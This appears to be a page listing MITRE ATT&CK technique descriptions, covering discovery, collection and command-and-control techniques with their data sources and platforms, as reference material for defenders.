Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre